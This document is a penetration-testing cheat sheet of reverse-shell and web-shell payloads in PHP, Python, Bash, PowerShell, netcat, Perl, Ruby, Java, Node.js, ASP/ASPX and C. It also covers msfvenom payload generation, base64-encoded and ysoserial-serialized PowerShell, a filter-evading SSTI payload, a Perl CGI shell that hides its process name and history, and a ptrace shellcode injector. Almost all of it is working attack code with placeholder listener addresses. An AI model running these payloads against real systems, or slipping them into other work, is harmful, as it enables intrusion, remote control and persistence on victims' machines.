Reverse shells
This document compiles various reverse shell and payload snippets across different programming languages and tools, useful for penetration testing and security exercises. Remember to replace IP_ADDRESS
and PORT
with your actual listener IP and port.
PHP Shells
These PHP snippets can be used for establishing reverse shells.
<?php $sock = fsockopen("IP_ADDRESS",PORT); $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
```php
<?php system("whoami; wget http://IP_ADDRESS/shell; chmod +x shell; ./shell"); ?>
```php
<?php system("/usr/bin/wget http://IP_ADDRESS/shell.txt -O /dev/shm/shell.php; php /dev/shm/shell.php"); ?>
```php
<?php -r '$sock=fsockopen("IP_ADDRESS",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' ?>
```php
<?php echo system($_REQUEST['cmd']); ?>
```php
<?php echo shell_exec($_GET['cmd']); ?>
```php
<?php exec("/bin/bash -c 'bash -i > /dev/tcp/IP_Address/PORT 0>&1'"); ?>
```php
<?php $output = 'bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1';echo "<pre>$output</pre>"; ?>
Metasploit PHP Meterpreter
Use msfvenom to generate a PHP meterpreter payload.
msfvenom -p php/meterpreter_reverse_tcp LHOST="IP_ADDRESS" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
Python Reverse Shells
Python scripts for reverse shell connections.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Command Execution - SSTI (Server-Side Template Injection)
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("ls /").re'+'ad()'))
Bash Reverse Shells
Various Bash commands for reverse shells.
bash -i >& /dev/tcp/IP_address/PORT 0>&1
```bash
bash -i >& /dev/tcp/IP_address/PORT 0>&1
```bash
bash -i >& /dev/tcp/IP_address/PORT 0>&1
Named Pipe Method
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 10.10.10.10 443 1>/tmp/backpipe
Powershell Reverse Shells
Powershell commands for Windows reverse shells.
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("IP_ADDRESS",PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP_ADDRESS',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Base64 Encoding your payload
$Command = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Encoded = [convert]::ToBase64String([System.Text.encoding]::Unicode.GetBytes($command))
print $Encoded
Serialize your payload (using ysoserial.net)
# Download https://github.com/pwntester/ysoserial.net
ysoserial.exe -g ObjectDataProvider -f JavaScriptSerializer -o base64 -c "powershell -encoded <encoded payload>"
Netcat Reverse Shells
Netcat is a versatile tool for network connections.
Named Pipe Method
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 10.10.10.10 443 1>/tmp/backpipe
Direct Connection
nc -e /bin/sh IP_ADDRESS PORT
FIFO Method
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP_ADDRESS PORT >/tmp/f
UDP Netcat Reverse Shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u IP_ADDRESS PORT >/tmp/f
Attacker Listener for UDP
nc -u -nvlp PORT
Perl Reverse Shell
perl -e 'use Socket;$i="IP_ADDRESS";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Ruby Reverse Shells
ruby -rsocket -e'f=TCPSocket.open("IP_ADDRESS",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("IP_ADDRESS","PORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Ruby Reverse Shell For Windows
ruby -rsocket -e 'c=TCPSocket.new("IP_ADDRESS","PORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Java Reverse Shells
String host="IP_ADDRESS";
int port=PORT;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Java Reverse Shell 2
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/IP_ADDRESS/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Node.js Reverse Shells
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
Alternative Node.js Payloads
require('child_process').exec('nc -e /bin/sh IP_ADDRESS PORT')
```javascript
-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
CGI Reverse Shell (Perl)
This is a more elaborate Perl CGI script that acts as a reverse shell.
#!/usr/bin/perl -w
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";
# Where to send the reverse shell. Change these.
my $ip = '10.10.10.10';
my $port = 9002;
# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);
# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";
# Change the process name to be less conspicious
$0 = "[httpd]";
# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}
# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}
setsid();
chdir('/');
umask(0);
}
# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}
# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));
# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}
# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}
# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}
MSFVenom Payloads
These are common Metasploit payloads for Windows and Linux.
Windows x64 Staged Payloads
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe
msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe
Windows x64 Stageless Payloads
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe
msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe
msfvenom -p windows/x64/exec 'CMD=cmd.exe' LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe
Windows x86 Staged Payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe
Windows x86 Stageless Payloads
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe
Note: To search for payloads: msfvenom --list payloads | grep <language>
To search for formats: msfvenom --list formats | grep <language>
Linux x64 Staged Payloads
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf -o exploit
msfvenom -p linux/x64/shell/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf -o exploit
Linux x64 Stageless Payloads
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf -o exploit
msfvenom -p linux/x64/exec 'CMD=/bin/bash' LHOST=10.10.10.10 LPORT=443 -f elf -o exploit
Linux x86 Staged Payloads
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf -o exploit
msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf -o exploit
Linux x86 Stageless Payloads
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf -o exploit
msfvenom -p linux/x86/exec 'CMD=/bin/bash' LHOST=10.10.10.10 LPORT=443 -f elf -o exploit
ASP Web Shells
ASP (Active Server Pages) code for web shells.
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
ASP Web Shell (with form)
<%
Dim oS,oSNet,oFSys, oF,szCMD, szTF
On Error Resume Next
Set oS = Server.CreateObject("WSCRIPT.SHELL")
Set oSNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form("C")
If (szCMD <> "") Then
szTF = "c:\windows\pchealth\ERRORREP\QHEADLES\" & oFSys.GetTempName()
Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF &
"""",0,True)
response.write szTF
' Change perms
Call oS.Run("win.com cmd.exe /c cacls.exe " & szTF & " /E /G
everyone:F",0,True)
Set oF = oFSys.OpenTextFile(szTF,1,False,0)
End If
%>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name="C" size=70 value="<%= szCMD %>">
<input type=submit value="Run"></FORM><PRE>
Machine: <%=oSNet.ComputerName%><BR>
Username: <%=oSNet.UserName%><br>
<%
If (IsObject(oF)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oF.ReadAll)
oF.Close
Call oS.Run("win.com cmd.exe /c del "& szTF,0,True)
End If
%>
ASP Web Shell 2
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
' -- create the COM objects that we will be using -- '
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<br>
<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
ASPX Web Shell
ASPX (Active Server Pages .NET) code for web shells.
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>
C Reverse Shell
A basic C program for a reverse shell.
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main (int argc, char **argv)
{
int scktd;
struct sockaddr_in client;
client.sin_family = AF_INET;
client.sin_addr.s_addr = inet_addr("IP_ADDRESS");
client.sin_port = htons(PORT);
scktd = socket(AF_INET,SOCK_STREAM,0);
connect(scktd,(struct sockaddr *)&client,sizeof(client));
dup2(scktd,0); // STDIN
dup2(scktd,1); // STDOUT
dup2(scktd,2); // STDERR
execl("/bin/sh","sh","-i",NULL,NULL);
return 0;
}
C Program to Inject BIND TCP Shellcode into Running Process
(Note: This is an advanced technique for process injection, often requiring specific permissions and knowledge of the target process.)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>
#define SHELLCODE_SIZE 32
unsigned char *shellcode =
"\x48\x31\xc0\x48\x89\xc2\x48\x89"
"\xc6\x48\x8d\x3d\x04\x00\x00\x00"
"\x04\x3b\x0f\x05\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00\xcc\x90\x90\x90";
int
inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
int i;
uint32_t *s = (uint32_t *) src;
uint32_t *d = (uint32_t *) dst;
for (i = 0; i < len; i+=4, s++, d++)
{
if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
{
perror ("ptrace(POKETEXT):");
return -1;
}
}
return 0;
}
int
main (int argc, char *argv[])
{
pid_t target;
struct user_regs_struct regs;
int syscall;
long dst;
if (argc != 2)
{
fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
exit (1);
}
target = atoi (argv[1]);
printf ("+ Tracing process %d\n", target);
if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
{
perror ("ptrace(ATTACH):");
exit (1);
}
printf ("+ Waiting for process...\n");
wait (NULL);
printf ("+ Getting Registers\n");
if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0)
{
perror ("ptrace(GETREGS):");
exit (1);
}
/* Inject code into current RPI position */
printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
regs.rip += 2;
printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0)
{
perror ("ptrace(GETREGS):");
exit (1);
}
printf ("+ Run it!\n");
if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
{
perror ("ptrace(DETACH):");
exit (1);
}
return 0;
}
Last updated